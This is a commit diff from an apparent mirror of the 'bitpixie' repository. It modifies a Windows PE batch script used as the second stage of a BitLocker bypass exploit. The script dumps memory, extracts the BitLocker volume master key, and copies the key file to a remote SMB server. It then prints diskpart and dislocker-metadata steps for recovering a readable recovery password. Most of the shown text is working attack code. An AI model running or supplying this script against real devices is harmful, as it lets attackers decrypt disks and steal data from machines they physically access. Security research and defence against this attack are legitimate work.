admin/martanne-bitpixie
1
0
Fork 0
mirror of https://github.com/martanne/bitpixie synced 2026-06-08 15:44:32 +00:00
Code Issues Packages Projects Releases Wiki Activity

winpe: improve second stage exploitation script

Browse Source 
Abort in case VMK is not found. Include diskpart documentation as wimc
is not available, fix typo and provide more specific example command.
This commit is contained in:
Marc André Tanner
2025-03-12 18:04:22 +01:00
parent f323724392
commit d200843737
1 changed files with 18 additions and 7 deletions
Download Patch File Download Diff File Expand all files Collapse all files
pxe/smb/exploit-winpe2.bat
+18 -7
View File
@@ -37,17 +37,28 @@ DumpIt /TYPE RAW /NOCOMPRESS /QUIET /NOLYTICS /OUTPUT "memdump-%HOSTNAME%.bin"
echo.
echo Searching VMK in memory dump
search-vmk.exe "memdump-%HOSTNAME%.bin" "vmk-%HOSTNAME%.dat"
search-vmk.exe "memdump-%HOSTNAME%.bin" "vmk-%HOSTNAME%.dat" || exit /b %ERRORLEVEL%
echo.
echo Uploading VMK
copy "vmk-%HOSTNAME%.dat" "%SERVER%"
echo.
echo Displaying partition offsets
wmic partition get DeviceID, StartingOffset, Size
echo Get disk index and partiton offset in bytes:
echo.
echo Query BitLocker metadata
echo Usage: dislocker-metadata -K vmk.dat -V \\.\PysicalDrive0 -o $OFFSET
echo %cd%^> diskpart
echo diskpart^> list disk
echo diskpart^> select disk 0
echo diskpart^> detail disk
echo diskpart^> list partitions
echo diskpart^> select partition 3
echo diskpart^> detail partition
echo ...
echo Offset in Bytes: 1234
echo ...
echo diskpart^> assign letter=B
echo diskpart^> exit
echo.
echo Get human readable BitLocker recovery password:
echo.
echo dislocker-metadata -K vmk-%HOSTNAME%.dat -V \\.\PhysicalDrive0 -o $OFFSET